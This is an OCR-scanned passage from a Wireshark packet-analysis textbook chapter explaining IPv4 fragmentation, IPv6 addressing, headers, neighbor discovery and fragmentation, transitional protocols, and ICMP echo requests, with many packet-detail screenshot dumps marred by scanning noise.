Ethernet II, Src: HewlettP_bf:91:ee (00:25:b3:bf:91:ee), Dst: Cisco-Li_66:71:95 (@@:21:29:66:71:95) 
V Internet Protocol Version 4, Src: 10.10.0.3, Dst: 192.168.0.128 
@10@ .... = Version: 4 
. 0101 = Header Length: 20 bytes 
Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
Total Length: 1500 
Identification: @x7474 (29812) 
vV Flags: @x@1 (More Fragments) 
O... osoo = Reserved bit: Not set 
-@.. .... = Don't fragment: Not set 
..1. .... = More fragments: Set @ 
Fragment offset: @ e 
Time to live: 128 
Protocol: ICMP (1) 
Header checksum: @x@000@ [validation disabled] 
Source: 10.10.0.3 
Destination: 192.168.0.128 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
Reassembled IPv4 in frame: 3 
Data (1480 bytes) 








No.: 1 * Time: 0.000000 * Source: 10.10.0.3 « Destination: 192.168.0.128 « Protocol: IP.. 1514 « Info: Fragmented IP protocol (proto=ICMP 1, off=0, ID=7474) [Reassembled in 








Figure 7-13: More fragments and Fragment offset values can indicate a fragmented 
packet. 


You can see that this packet is part of a fragment based on the More 
fragments and Fragment offset fields. Packets that are fragments will either 
have a positive Fragment offset value or have the More fragments flag set. 
In the first packet, the More fragments flag is set ®, indicating that the 
receiving device should expect to receive another packet in this sequence. 
The Fragment offset is set to 0 @, indicating that this packet is the first ina 
series of fragments. 

The IP header of the second packet (see Figure 7-14) also has the More 
fragments flag set ®, but in this case, the Fragment offset value is 1480 ®. 
This is indicative of the 1,500-byte MTU, minus 20 bytes for the IP header. 

The third packet (see Figure 7-15) does not have the More fragments 
flag set @, which marks it as the last fragment in the data stream, and the 
Fragment offset is set to 2960 ®, the result of 1480 + (1500 — 20). These 
fragments can all be identified as part of the same series of data because 
they have the same values in the Identification field of the IP header ®. 
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M Wireshark - Packet 2 - ip_frag_source = o x 





> Frame 2: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: Cisco-Li_66:71:95 (@@:21:29:66:71:95) 
V Internet Protocol Version 4, Src: 10.10.0.3, Dst: 192.168.0.128 
@10@ .... = Version: 4 
+ 0101 = Header Length: 20 bytes 
> Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
Total Length: 1500 
Identification: @x7474 (29812) 
v Flags: @x@1 (More Fragments) 
@... sae. = Reserved bit: Not set 
. <... = Don't fragment: Not set 
..1. .... = More fragments: Set @ 
Fragment offset: 1480 @ 
Time to live: 128 
Protocol: ICMP (1) 
> Header checksum: @x@@@@ [validation disabled] 
Source: 10.10.0.3 
Destination: 192.168.0.128 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
Reassembled IPv4 in frame: 3 
Data (1480 bytes) 


© 
" 














No.: 2+ Time: 0.000010 > Source: 10.10.0.3 * Destination: 192.168.0.128 - Protocol: IPv4 .. 1514 + Info: Fragmented IP protocol (proto=IOMP 1, off=1480, ID=7474) [Reassembled ù 


Help 





Figure 7-14: The Fragment offset value increases based on the size of the packets. 


4 Wireshark - Packet 3 - ip_frag_source 





Frame 3: 582 bytes on wire (4656 bits), 582 bytes captured (4656 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: Cisco-Li_66:71:95 (@0:21:29:66:71:95) 
V Internet Protocol Version 4, Src: 10.10.0.3, Dst: 192.168.0.128 

@10@ .... = Version: 4 

. 0101 = Header Length: 20 bytes 
Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
Total Length: 568 
Identification: @x7474 (29812) @ 
Flags: @x@0 

0... cece Reserved bit: Not set 

-@.. .... = Don’t fragment: Not set 

More fragments: Not set @ 
t: 2960 © 
Time to live: 128 
Protocol: ICMP (1) 
Header checksum: @x0000 [validation disabled] 
Source: 10.10.0.3 
Destination: 192.168.0.128 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
[3 IPv4 Fragments (3508 bytes): #1(1480), #2(1480), #3(548)] 
> Internet Control Message Protocol 











No.: 3 « Time: 0.000013 » Source: 10.10.0.3 * Destination: 192.168.0.128 « Protocol: ICMP + Length: 582 « Info: Echo (ping) request id=0x0001, seq=57/14592, tti=128 (reply in 





Figure 7-15: More fragments is not set, indicating that this fragment is the last. 


While it isn’t as common to see fragmented packets on a network as 
it used to be, understanding why packets are fragmented is useful so that 
when you do encounter them, you can diagnose issues or spot missing 
fragments. 


Internet Protocol Version 6 (IPv6) 


When the IPv4 specification was written, nobody had any idea that we 
would eventually have the number of internet-connected devices that exist 
today. The maximum IPv4 addressable space was limited to just south of 
4.3 billion addresses. The actual amount of addressable space shrinks even 
further when you subtract ranges reserved for special uses such as testing, 
broadcast traffic, and RFC1918 internal addresses. While several efforts were 
made to delay the exhaustion of IPv4 addresses, ultimately the only way to 
address this limitation was to develop a new version of the IP specification. 

Thus, the IPv6 specification was created, with its first version released 
in 1998 as RFC 2460. This version provided several performance enhance- 
ments, including a much larger address space. In this section, we’ll look at 
the IPv6 packet structure and discuss how IPv6 communications differ from 
those of its predecessor. 


IPv6 Addresses 


IPv4 addresses were limited to 32 bits, a length that provided an address- 
able space measured in the billions. IPv6 addresses are 128 bit, providing 
an addressable space measured in undecillions (a trillion trillion trillion). 
That’s quite an upgrade! 

Since IPv6 addresses are 128 bits, they are unwieldy to manage in 
binary form. Most of the time, an IPv6 address is written in eight groups 
of 2 bytes in hexadecimal notation, with each group separated by a colon. 
For example, a very simple IPv6 address looks like this: 





1111: aaaa:2222:bbbb:3333:cccc:4444:dddd 





Your first thought is probably the same one many have who are used to 
remembering IPv4 addresses: IPv6 addresses are virtually impossible to mem- 
orize. That is an unfortunate trade-off for a much larger address space. 

One feature of IPv6 address notation that will help in some cases is that 
some groups of zeroes can be collapsed. For example, consider the follow- 
ing IPv6 address: 


1111: 0000: 2222: 0000: 3333:4444:5555:6666 





You can collapse the grouping containing the zeroes completely so it 
isn’t visible, like this: 





1111: :2222:0000: 3333 :4444:5555:6666 





However, you can only collapse a single group of zeroes, so the follow- 
ing address would be invalid: 





1111: 22222: :3333:4444:5555:6666 
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Another consideration is that leading zeroes can be dropped from IPv6 
addresses. Consider this example in which there are zeroes in front of the 
fourth, fifth, and six groups: 


1111: 0000: 2222:0333:0044:0005: fff: FffFf 





You could represent the address more efficiently like this: 





1111: :2222:333:44:5: FF FF: FFFF 





This isn’t quite as easy to use as an IPv4 address, but it’s a lot easier to 
deal with than the longer notation. 

An IPv6 address has a network portion and a host portion, often called 
a network prefix and interface identifier, respectively. The distribution of these 
fields varies depending on the classification of the IPv6 communication. IPv6 
traffic is broken down into three classifications: unicast, multicast, or anycast. 
In most cases, you'll probably be working with link-local unicast traffic, which 
is communication from one device to another inside a network. The format 
of a link-local unicast IPv6 address is shown in Figure 7-16. 


Padding 
ma 
fe80:0000:0000:0000:7a31:c1 ff:fecb:b256 
f Interface Identif 
Prefix nterface Identifer 


Figure 7-16: The parts of an IPv6 link-local unicast address 


Link-local addresses are used when communication is intended for 
another device within the same network. A link-local address can be iden- 
tified by having its most significant 10 bits set to 1111111010 and the next 
54 bits set to all zeroes. Thus, you can spot a link-local address when the 
first half is fe80:0000:0000:0000. 

The second half of a link-local IPv6 address is the interface ID por- 
tion, which uniquely identifies a network interface on an endpoint host. On 
Ethernet networks, this can be based on the MAC address of the interface. 
However, a MAC address is only 48 bits. To fill up the entire 64-bit space, 
the MAC address is cut in half, and the 
value Oxfffe is added between each half as 
padding to create a unique identifier. Lastly, 
the seventh bit of the first byte is inverted. 


Padding 


7a3 1:c1ff:fecb:b256 
UY’ 


That’s a bit complex, but consider the inter- MAC Address MAC Address 
face ID in Figure 7-17. The original MAC (First Half) (Last Half) 
address for the device represented by this 

ID was 78:31:cl:cb:b2:56. The bytes Oxfffe Figure 7-17: The interface ID 
were added in the middle, and flipping the utilizes an interface MAC 
seventh bit of the first byte changed the & address and padding. 

to an a. 


http_ip4and6 
.pcapng 


IPv6 addresses can be represented with CIDR notation just like IPv4 
addresses. In this example, 64 bits of addressable space are represented 
with a link-local address: 





fe80:0000:0000:0000: /64 





The composition of an IPv6 address changes when it is used with glo- 
bal unicast traffic that is routed over the public internet (see Figure 7-18). 
When used in this manner, a global unicast is identified by having its first 
3 bits set to 001, followed by a 45-bit global routing prefix. The global rout- 
ing prefix, which is assigned to organizations by the Internet Assigned 
Numbers Authority (IANA), is used to uniquely identify an organization’s 
IP space. The next 16 bits are the subnet ID, which can be used for hierar- 
chical addressing, similar to the netmask portion of an IPv4 address. The 
final 64 bits are used for the interface ID, just as with link-local unicast 
addresses. The routing prefix and subnet ID can vary in size. 


Network 
Prefix 


ma 
2001:4860:4860:0000:7a31:c1 ff:fecb:b256 


Routing Subnet Interface Identifer 
Prefix ID 


Figure 7-18: The parts of an IPvó global unicast address 


IPv6 provides a lot more efficiency than IPv4 in terms of routing packets 
to their destination and making effective use of address space. This effi- 
ciency is due to the larger range of addresses available and the use of link- 
local and global addressing along with unique host identifiers. 


It’s easy for you to visually differentiate [Pv6 and IPv4 addresses, but many pro- 
grams cannot do so. If you need to specify an IPv6 address, some applications, such 
as browsers or command line utilities, require you to place square brackets around the 
address, like this: [1111::2222:333:44:5 fff]. This requirement isn’t always docu- 
mented well and has been a source of frustration for many as they learn IPv6. 


IPv6 Packet Structure 


The structure of the IPv6 header has grown to support more features, but it 
was also designed to be easier to parse. Instead of being variable in size with 
a header length field that needs to be checked to parse the header, headers 
are now a fixed 40 bytes. Additional options are provided via extension 
headers. The benefit is that most routers only need to process the 40-byte 
header to forward the packet along. 

As shown in Figure 7-19, the IPv6 header has the following fields: 


Version The version of IP being used (this is always 6 for IPv6). 


Traffic Class Used to prioritize certain classes of traffic. 
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Internet Protocol Version 6 (IPv6) 


= 


Source IP Address 


Destination IP Address 





Figure 7-19: The IPv6 packet structure 


Flow Label Used by a source to label a set of packets belonging to the 
same flow. This field is typically used for quality of service (QoS) man- 
agement and to ensure packets that are part of the same flow take the 
same path. 


Payload Length The length of the data payload following the IPv6 
header. 


Next Header Identifies the layer 4 header that encapsulates the IPv6 
header. This field replaces the Protocol field in IPv4. 


Hop Limit Defines the lifetime of the packet, measured in hops 
through routers. This field replaces the TTL field in IPv4. 


Source IP Address The IP address of the host that sent the packet. 
Destination IP Address The IP address of the packet’s destination. 


Let’s compare an IPv4 and an IPv6 packet to examine a few of the 
differences by looking at htip_ip4and6.pcapng. In this capture, a web 
server was configured to listen for both IPv4 and IPv6 connections on 
the same physical host. A single client configured with both IPv4 and 
IPv6 addresses browsed to a server using each of its addresses indepen- 
dently and downloaded the index.php page using HTTP via the curl appli- 
cation (Figure 7-20). 

Upon opening the capture, you should readily see which packets 
belong to which conversation based on the addresses in the Source and 
Destination columns in the Packet List area. Packets 1 through 10 repre- 
sent the IPv4 stream (stream 0), and packets 11 through 20 represent the 
IPv6 stream (stream 1). You can filter for each of these streams from the 
Conversations window or by entering tcp.stream == 0 or tcp.stream == 1in 
the filter bar. 
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Client Web Server 


172.16.16.140 HTTP GET /index.php 172.16.16.139 


2001:db8:1:2::1002 HTTP GET /index.php 2001:db8:1:2::1000 


Figure 7-20: Connections between the same physical hosts using different IP versions 


We’ll cover HTTP, the protocol responsible for serving web pages on 
the internet, in depth in Chapter 8. In this example, just note that the busi- 
ness of serving web pages remains consistent regardless of which lower-layer 
network protocol is used. The same can be said of TCP, which also operates 
in a consistent manner. This is a prime example of encapsulation in action. 
Although IPv4 and IPv6 function differently, the protocols functioning at 
different layers are unaffected. 

Figure 7-21 provides a side-by-side comparison of two packets with 
the same function—packets 1 and 11. Both packets are TCP SYN packets 
designed to initiate a connection from the client to the server. The Ethernet 
and TCP sections of these packets are nearly identical. However, the IP sec- 
tions are completely different. 


e The source and destination address formats are different O®. 


e The IPv4 packet is 74 bytes with a 60-byte total length ®, which includes 
both the IPv4 header and payload and a 14-byte Ethernet header. The 
IPv6 packet is 96 bytes with a 40-byte IPv6 payload @ and a separate 
40-byte IPv6 header along with the 14-byte Ethernet header. The IPv6 
header is 40 bytes, double the IPv4 header’s 20 bytes, to accommodate 
the larger address size. 

e 6 Py4 identifies the protocol with the Protocol field @, whereas IPv6 
identifies it with the Next header field (which can also be used to spec- 
ify extension headers) ®. 

e IPv4 has a TTL field ®, whereas IPv6 accomplishes the same functional- 
ity using the Hop limit field ©. 

e [Pv4 includes a header checksum value 8, while IPv6 does not. 

e The IPv4 packet is not fragmented, but it still includes values for those 
options @. The IPv6 header doesn’t contain this information because, 
if fragmentation were required, it would be implemented in an exten- 
sion header. 
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Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: Vmware_d3:46:dd (@0:@c:29:d3:46:dd), Dst: Vmware_1f:a7:55 (@@:0c:29:1f:a7:55) 
YV Internet Protocol Version 4, Src: 172.16.16.140, Dst: 172.16.16.139 
= Version: 4 
. 0101 = Header Length: 20 bytes 
YV Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT) 
0000 00.. = Differentiated Services Codepoint: Default (@) 
@@ = Explicit Congestion Notification: Not ECN-Capable Transport (@) 
@ total Length: 60 
Identification: @xfadf (64223) 
V Flags: @x@2 (Don't Fragment) 
Reserved bit: Not set 
. = Don't fragment: Set 
--@. .... = More fragments: Not set 
Fragment offset: @ 
© Time to live: 64 
@ Protocol: TCP (6) 
© V Header checksum: Oxc6a4 [validation disabled] 
[Good: False] 
[Bad: False] 
Source: 172.16.16.140 
© Destination: 172.16.16.139 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
Transmission Control Protocol, Src Port: 53350 (53350), Dst Port: 80 (80), Seq: @, Len: @ 











No.: 1 Time: 0.000000 - Source: 172.16.16.140 - Destination: 172.16.16.139 .. [SYN] Seq=0 Win=29200 Len=0 MSS=1460 SACK_PERM=1 TSval=417031 TSecr=0 V 
Close Help 








Frame 11: 94 bytes on wire (752 bits), 94 bytes captured (752 bits) 
Ethernet II, Src: Vmware_d3:46:dd (@0:@c:29:d3:46:dd), Dst: Vmware_1f:a7:55 (@0:@c:29:1f:a7:55) 
V Internet Protocol Version 6, Src: 2001:db8:1:2::1002, Dst: 2001:db8:1:2::1000 
= Version: 6 
Traffic class: @x@@ (DSCP: CS@, ECN: Not-ECT) 
. = Differentiated Services Codepoint: Default (@) 
= Explicit Congestion Notification: Not ECN-CapabL.. 
Flowlabel: @x00000000 
@ Payload length: 40 
Q next header: TCP (6) 
Ọ Hop limit: 64 
or 20@1:db8:1:2::1002 
Destination: 20@1:db8:1:2::1000 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
Transmission Control Protocol, Src Port: 35023 (35023), Dst Port: 80 (80), Seq: @, Len: @ 











No.: 11 + Time: 4.999280 - Source: 2001:db8;1:2::1002 - Destination: 2001:d68... [SYN] Seq=0 Win=28800 Len=0 MSS=1440 SACK_PERM=1 TSval=418281 TSecr=0 V 


Close Help 


Figure 7-21: A side-by-side comparison of IPv4 (top) and IPvó (bottom) packets 
performing the same function 


Performing side-by-side comparisons of IPv4 and IPv6 traffic is a great 
way to fully appreciate the difference between how the two protocols operate. 


Neighbor Solicitation and ARP 


When we discussed the different classifications of traffic earlier, I listed uni- 
cast, multicast, and anycast but did not list broadcast traffic. IPv6 doesn’t 


support broadcast traffic because broadcast is viewed as an inefficient 
mechanism for transmission. Because there is no broadcast, ARP can’t be 
used for hosts to find each other on a network. So, how do IPv6 devices find 
each other? 

The answer lies with a new feature called neighbor solicitation, a function 
of Neighbor Discovery Protocol (NDP), which utilizes ICMPv6 (discussed 
in the last section of this chapter) to do its legwork. To accomplish this task, 
ICMPv6 uses multicast, a type of communication in which only hosts that 
subscribe to a data stream will receive and process it. Multicast traffic can 
be identified quickly because it has its own reserved IP space (ff00::/8). 

Although the address resolution process relies on a different protocol, it 
still uses a very simple request/response workflow. For example, let’s consider 
a scenario in which a host with the IPv6 address 2001:db8:1:2::1003 wants to 
communicate with another host identified by the address 2001:db8:1:2::1000. 
Just as with IPv4, the source device must be able to determine the link-layer 
(MAC) address of the host it wants to communicate with, since this is intra- 
network communication. This process is described in Figure 7-22. 
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File Server 


ICMPv6 Neighbor Solicitation (Type 135) 2001:db8:1:2::1001 
00:0¢:29:1F:22:al 
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. Web Server 
Client ae 
2001:db8:1:2::1003 200 eee 2 L008 
00:0¢:29:2f:80:31 ICMPv6 Neighbor Solicitation (Type 135) 00:0¢:29:1F:a7:55 
Mail Server 


2001 :db8:1:2::1002 
00:0c:29:fe:ea: le 


Figure 7-22: The neighbor solicitation process for address resolution 
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In this process, the host 2001:db8:1:2::1003 sends a Neighbor 
Solicitation (ICMPv6 type 135) packet to every device on the network 
via multicast, asking, “What is the MAC address for the device whose IP 
address is 2001:db8:1:2::1000? My MAC address is 00:0C:29:2f:80:31.” 

The device assigned that IPv6 address will receive this multicast trans- 
mission and respond to the originating host with a Neighbor Advertisement 
(ICMPv6 type 136) packet. This packet says, “Hi, my network address is 
2001:db8:1:2::1000 and my MAC address is 00:0c:29:1f:a7:55.” Once this 
message is received, communication can begin. 

You can see this process in action in the capture file icmpv6_neighbor 
_ solicitation.pcapng. This capture embodies the example we’ve just discussed 
in which 2001:db8:1:2::1003 wants to communicate with 2001:db8:1:2::1000. 
Look at the first packet and expand the ICMPv6 portion in the Packet Details 
window (Figure 7-23) to see that the packet is ICMP type 135 @ and was 
sent from 2001:db8:1:2::1003 to the multicast address ff02::1:££00:1000 @. 
The source host provided the target IPv6 address it wanted to communicate 
with ®, along with its own layer 2 MAC address @. 





@ Wireshark - Packet 1 + icmpv6_neighbor_solicitation = o x 





Frame 1: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) 
Ethernet II, Src: Vmware_2f:80:31 (@0:0c:29:2f:80:31), Dst: IPv6mcast_ff:00:10:00 (33:33:ff:00:10:00) 
vV Internet Protocol Version 6, Src: 2001:db8:1:2::1003, Dst: ff02::1:ff00:1000 
0110 .... = Version: 6 
s 0000 CODD .... gcos 22 ee ween eee = Traffic class: @x@@ (DSCP: CS@, ECN: Not-ECT) 
cece cece sooo OOOO 0O00 OOOO OOOO 0000 = Flowlabel: 0x@0000000 
Payload length: 32 
Next header: ICMPv6 (58) 
Hop limit: 255 
o Source: 2001:db8:1:2::1003 
Destination: ff02::1:ff00:1000 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
V Internet Control Message Protocol v6 
Type: Neighbor Solicitation (135)@ 
Code: @ 
Checksum: @x44b7 [correct] 
Reserved: 00000000 
Target Address: 2001:db8:1:2::1000 @ 
V ICMPv6 Option (Source link-layer address : 00:0c:29:2f:80:31) 
Type: Source link-layer address (1) 
Length: 1 (8 bytes) 
Link-layer address: Vmware_2f:80:31 (@0:@c:29:2f:80:31) @ 








No.: 1 * Time: 0.000000 + Source: 2001:d68:1:2::1003 + Destination: 9702::1:f700:1000 > Pro..v6 * Length: 86 « Info: Neighbor Solicitation for 2001:068:1:2::1000 from 00:0c:29:2F80:5 





Figure 7-23: A neighbor solicitation packet 


The response to the solicitation is found in the second packet in 
the capture file. Expanding the ICMPv6 portion of the Packet Details 
window (Figure 7-24) reveals this packet is ICMP type 136 @, was sent 
from 2001:db8:1:2::1000 back to 2001:db8:1:2::1003 @, and contains the 
MAC address 00:0c:29:1f:a7:55 associated with 2001:db8:1:2::1000 ©. 


ipv6é_fragments 
.pcapng 





@ Wireshark » Packet 2- icmpv6_neighbor_solicitation = o x 





Frame 2: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) 
Ethernet II, Src: Vmware_1f:a7:55 (@0:0c:29:1f:a7:55), Dst: Vmware_2f:80:31 (@0:0c:29:2f:80:31) 
V Internet Protocol Version 6, Src: 20@1:db8:1:2::1000, Dst: 20@1:db8:1:2::1003 
0110 .... = Version: 6 
+ OOOO OOOO .... sose sose sese ceso = Traffic class: @x@@ (DSCP: CS@, ECN: Not-ECT) 
cece soso sooo 0000 0000 0000 0000 0000 Flowlabel: 0x00000000 
Payload length: 32 
Next header: ICMPv6 (58) 
Hop limit: 255 
Source: 2001:db8:1:2::1000 
Destination: 2001:db8:1:2::1003 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
V Internet Control Message Protocol v6 
Type: Neighbor Advertisement (136) @ 
Code: @ 
Checksum: @x8beb [correct] 
v Flags: @x60000000 
Bone osos osso soso osoo osoo sooo sees = Router: Not set 
Lee aana ddiin SER diad aawa kide diaa = Sobleiteds Set 
cels asce soso cooo sees sees cone sooo Override: Set 
...0 OOOO OOOO OOOO 9000 OOGO @000 9000 = Reserved: @ 
Target Address: 2001:db8:1:2::1000 
V ICMPv6 Option (Target link-layer address : 00:0c:29:1f:a7:55) 
Type: Target link-layer address (2) 
Length: 1 (8 bytes) 
Link-layer address: Vmware_1f:a7:55 (@0:0c:29:1f:a7:55) @ 


(1) 








No.: 2 + Time: 0.000267 « Source: 2001:d68:1:2::1000 - Destination: 2001:d68:1:2::10..- Info: Neighbor Advertisement 2001:068:1:2::1000 (sol. ovr) is at 00:0c:29:1f:a7:5. 








Figure 7-24: A neighbor advertisement packet 


Upon completion of this process, 2001:db8:1:2::1003 and 
2001:db8:1:2::1000 begin communicating normally with IGMPv6 echo 
request and reply packets, indicating the neighbor solicitation process 
and link-layer address resolution was successful. 


IPv6 Fragmentation 


Fragmentation support was built into the IPv4 header because it ensured 
packets could traverse all sorts of networks at a time when network MTUs 
varied wildly. In IPv6, fragmentation is used less, so the options supporting 
it are not included in the IPv6 header. A device transmitting IPv6 packets is 
expected to perform a process called MTU discovery to determine the maxi- 
mum size of packets it can send before actually sending them. In the event 
that a router receives a packet that is too large for the MTU on the network 
it is forwarding to, it will drop the packet and return an ICMPv6 Packet Too 
Big (type 2) message to the originating host. Upon receipt, the originating 
host will attempt to resend the packet with a smaller MTU, if such action is 
supported by the upper-layer protocol. This process will repeat until a small 
enough MTU is reached or until the payload can be fragmented no more 
(Figure 7-25). A router will never be responsible for fragmenting packets 
on its own; the source device is responsible for determining an appropriate 
MTU for the transmission path and fragmenting appropriately. 
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Ill. 











Client Router Router Web Server 
MTU 1500 MTU 1500 MTU 1400 MTU 1500 





1500-Byte MTU Packet —————> 


—_ |CMPvé6 Packet Too Big (Type 2) ———— 


Fragmented IPvó Packet with MTU 1400 ——————> 


Figure 7-25: IPv6 MTU path discovery 


If the upper-layer protocol being used in conjunction with IPv6 can’t 
limit the size of the packet payload, then fragmentation must still be used. 
A fragmentation extension header can be added to the IPv6 packet to sup- 
port this scenario. You will find a sample capture showing IPv6 fragmenta- 
tion in the file named ipv6_fragments.pcapneg. 

Because the receiving device has a smaller MTU than the sending 
device, there are two fragmented packets to represent each ICMPv6 echo 
request and reply in the capture file. The fragmentation header from the 
first packet is shown in Figure 7-26. 





M Wireshark « Packet 1 + ipv6_fragments = o x 


Frame 1: 151@ bytes on wire (12080 bits), 1510 bytes captured (12080 bits) 

Ethernet II, Src: Vmware_2f:80:31 (@0:@c:29:2f:80:31), Dst: Apple_cb:b2:56 (78:31:cl:cb:b2:56) 
V Internet Protocol Version 6, Src: 20@1:db8:1:2::1003, Dst: 2001:db8:1:2::1000 

0110 .... = Version: 6 

V n... OOOO OBBO ons suos sese sere crre = Traffic class: 0x00 (DSCP: CS@, ECN: Not-ECT) 
= Differentiated Services Codepoint: Default (@) 
. = Explicit Congestion Notification: Not ECN-Capable Transport (0) 
= Flowlabel: @x@0000000 






Payload length: 1456 

Next header: Fragment Header for IPv6 (44) @ 
Hop limit: 64 

Source: 2001:db8:1:2::1003 


Destination: 20@1:db8:1:2::1000 
[Source GeoIP: Unknown] 
[Destination GeoIP: Unknown] 
YV Fragment Header 
Next header: ICMPv6 (58) 
Reserved octet: @x@000 
@000 eooo 0000 O... = Offset: @ (@ bytes) @ 
Reserved bits: @ 
More Fragments: Yes © 
Identification: @xcde@@817 e 
Reassembled IPv6 in frame: 2 
Data (1448 bytes) 


9 
8 
ooo 








No.: 1 > Time: 0.000000 > Source: 2001:068:1:2::1003 > Destination: 2001:068:1:2::1000 Protocol: IPv6 - Length: 1510 > Info: IPv6 fragment (off=0 more=y ident=Oxcde00817 nt=58) 











Figure 7-26: An IPvó fragment header extension 


The 8-byte extension header contains all the same fragmentation prop- 
erties that are found in an IPv4 packet, such as a Fragment offset @, More 
Fragments flag ©, and Identification field @. Instead of being present in 
every packet, it is only added to the end of packets requiring fragmentation. 
This more efficient process still allows the receiving system to reassemble 
the fragments appropriately. Additionally, if this extension header is pres- 
ent, the Next header field will point to the extension header rather than 
the encapsulating protocol @. 


IPv6 Transitional Protocols 


IPv6 addresses a very real problem, but its adoption has been slow because 
of the effort required to transition network infrastructure to it. To ease 

this transition, several protocols allow IPv6 communication to be tunneled 
across networks that support only IPv4 communication. In this respect, tun- 
neling means that IPv6 communication is encapsulated inside of IPv4 com- 
munications just as other protocols may be encapsulated. Encapsulation is 
usually done in one of three ways: 


Router to Router Uses a tunnel to encapsulate IPv6 traffic from the 
transmitting and receiving hosts on their networks over an IPv4 net- 
work. This method allows entire networks to communicate in IPv6 over 
intermediary IPv4 links. 


Host to Router Uses encapsulation at the router level to transmit traf- 
fic from an IPv6 host over an IPv4 network. This method allows an indi- 
vidual host to communicate in IPv6 to an IPv6 network when the host 
resides on an [Pv4-only network. 


Host to Host Uses a tunnel between two endpoints to encapsulate IPv6 
traffic between IPv4- or IPv6-capable hosts. This method allows IPv6 
endpoints to communicate directly across an IPv4 network. 


While this book won’t cover transitional protocols in depth, it’s help- 
ful to be aware of their existence in case you ever need to investigate them 
while performing analysis at the packet level. The following are a few com- 
mon protocols: 


6to4 Also known as [Pv6 over [Pv4, this transitional protocol allows 
IPv6 packets to be transmitted across an IPv4 network. This protocol 
supports relays and routers to provide router-to-router, host-to-router, 
and host-to-host IPv6 communication. 


Teredo This protocol, used for IPv6 unicast communications over an 
IPv4 network using NAT (network address translation), works by send- 
ing IPv6 packets over IPv4 encapsulated in the UDP transport protocol. 


ISATAP This intrasite protocol allows communication between IPv4- 
and IPv6-only devices within a network in a host-to-host manner. 
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Internet Control Message Protocol (ICMP) is the utility protocol of TCP/IP, 
responsible for providing information regarding the availability of devices, 
services, or routes on a TCP/IP network. Most network-troubleshooting 
techniques and tools center around common ICMP message types. ICMP 
is defined in RFC 792. 


ICMP Packet Structure 


ICMP is part of IP, and it relies on IP to transmit its messages. ICMP con- 
tains a relatively small header that changes depending on its purpose. As 
shown in Figure 7-27, the ICMP header contains the following fields: 


Type The type or classification of the ICMP message, based on the 
RFC specification 


Code The subclassification of the ICMP message, based on the RFC 
specification 


Checksum Used to ensure that the contents of the ICMP header and 
data are intact upon arrival 


Variable A portion that varies depending on the Type and Code fields 


Internet Control Message Protocol (ICMP) 


[omen] Oat] o 1 dT a 


se e a hack 
Variable 


Figure 7-27: The ICMP header 





ICMP Types and Messages 


As noted, the structure of an ICMP packet depends on its purpose, as 
defined by the values in the Type and Code fields. 

You might consider the ICMP Type field the packet’s classification 
and the Code field its subclass. For example, a Type field value of 3 indi- 
cates “destination unreachable.” While this information alone might not 
be enough to troubleshoot a problem, if that packet were also to specify 
a Code field value of 3, indicating “port unreachable,” you could con- 
clude that there is an issue with the port with which you are attempting 
to communicate. 


For a full list of available ICMP types and codes, see http://www.iana.org/ 
assignments/icmp-parameters/. 


icmp_echo.pcapng 





Echo Requests and Responses 


ICMP’s biggest claim to fame is the ping utility. Ping is used to test for con- 
nectivity to a device. While ping itself isn’t a part of the ICMP spec, it uti- 
lizes ICMP to achieve its core functionality. 

To use ping, enter ping ipaddress at the command prompt, replacing 
ipaddress with the actual IP address of a device on your network. If the 
target device is turned on, your computer has a communication route to 
it, and there is no firewall blocking that communication, you should see 
replies to your ping command. 

The example in Figure 7-28 shows four successful replies that dis- 
play their size; round trip time (or RTT), which is the time it takes for 
the packet to arrive and a response to be received; and TTL used. The 
Windows utility also provides a summary detailing how many packets were 
sent, received, and lost. If communication fails, you should see a message 
telling you why. 





E Command Prompt = o x 


iC:\>ping 172.16.16.1 


Pinging 172.16.16.1 with 32 bytes of data: 
+16.16.1: bytes=32 time=2ms TTL=64 
TTL=64 
TTL=64 
Reply from 172.16.16. r TTL=64 


Ping statistics for 172.16.16.1: 

Packets: Sent = 4, Received = 4, Lost = @ (@% loss), 
‘Approximate round trip times in milli-seconds: 

Minimum = ims, Maximum = 2ms, Average = ims 





Figure 7-28: The ping command being used to test connectivity 


Basically, the ping command sends one packet at a time to a device and 
listens for a reply to determine whether there is connectivity to that device, 
as shown in Figure 7-29. 











Echo (Ping) Request 






























































Echo (Ping) Response 





Figure 7-29: The ping command involves only two steps. 


Although ping has long been the bread and butter of IT, its results can be a bit decetv- 
ing when host-based firewalls are deployed. Many of today’s firewalls limit the ability 
of a device to respond to ICMP packets. This is great for security, because potential 
attackers using ping to determine whether a host is accessible might be deterred, but 
troubleshooting is also more difficult—it can be frustrating to ping a device to test for 
connectivity and not receive a reply when you know you can communicate with that 
device. 
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The ping utility in action is a great example of simple ICMP communi- 
cation. The packets in the file icmp_echo.pcapng demonstrate what happens 
when you run ping. 

The first packet (see Figure 7-30) shows that host 192.168.100.138 is 
sending a packet to 192.168.100.1 ®. When you expand the ICMP portion of 
this packet, you can determine the ICMP packet type by looking at the Type 
and Code fields. In this case, the packet is type 8 @ and the code is 0 ®, 
indicating an echo request. (Wireshark should tell you what the displayed 
type/code actually is.) This echo (ping) request is the first half of the equa- 
tion. It is a simple ICMP packet, sent using IP, that contains a small amount 
of data. Along with the type and code designations and the checksum, we 
also have a sequence number that is used to pair requests with replies, and 
there is a random text string in the variable portion of the ICMP packet. 





@ Wireshark - Packet 1- icmp_echo — o x 





